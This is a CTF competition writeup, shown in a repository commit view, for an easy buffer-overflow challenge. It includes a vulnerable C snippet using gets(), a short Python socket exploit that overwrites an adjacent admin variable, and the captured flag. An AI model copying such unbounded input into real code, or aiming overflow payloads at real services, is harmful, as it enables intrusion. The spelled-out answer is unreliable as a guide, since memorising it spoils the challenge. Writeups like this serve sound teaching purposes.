asepharyana
0de2458955
- Deleted all 14 dummy docs from DB + filesystem - Created 14 Gemastik warmup writeups + index via create_document API (DB-first) - ch1-ch12: encoding/stego/web/pwn basics - ch13: RSA small factors - ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All 15 docs indexed and live at wiki.asepharyana.my.id
53 lines
1.2 KiB
Markdown
53 lines
1.2 KiB
Markdown
---
|
|
title: "Are You Admin? — Buffer Overflow"
|
|
type: "writeup"
|
|
section: "writeups"
|
|
status: "published"
|
|
author: "asep"
|
|
tags: ["gemastik", "ctf", "warmup", "pwn"]
|
|
path: "writeups/gemastik-2026-warmup/ch9-are-you-admin.md"
|
|
created_at: "2026-08-21T07:25:39.978Z"
|
|
updated_at: "2026-08-21T07:25:39.978Z"
|
|
event: "GEMASTIK 2026 Warmup"
|
|
challenge: "Are You Admin? — Buffer Overflow"
|
|
category: "pwn"
|
|
points: 500
|
|
difficulty: "easy"
|
|
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
|
|
---
|
|
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
|
|
|
|
**Server:** `nc 15.232.89.109 9001`
|
|
|
|
**Source (`chall.c`):**
|
|
|
|
```c
|
|
volatile int admin = 0;
|
|
char name[16];
|
|
gets(name); // <-- overflow, no bounds check
|
|
if (admin != 0) { /* print flag */ }
|
|
```
|
|
|
|
## Eksploitasi
|
|
|
|
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
|
|
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
|
|
|
|
```python
|
|
import socket, time
|
|
|
|
s = socket.socket()
|
|
s.connect(("15.232.89.109", 9001))
|
|
time.sleep(0.5)
|
|
|
|
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
|
|
payload = b"A" * 20 + b"\xff\xff\xff\xff"
|
|
s.sendall(payload + b"\n")
|
|
time.sleep(1.2)
|
|
print(s.recv(4096).decode())
|
|
# -> GEMASTIK19{0v3rfl0w_ubah_var}
|
|
```
|
|
|
|
## Flag
|
|
|
|
`GEMASTIK19{0v3rfl0w_ubah_var}` |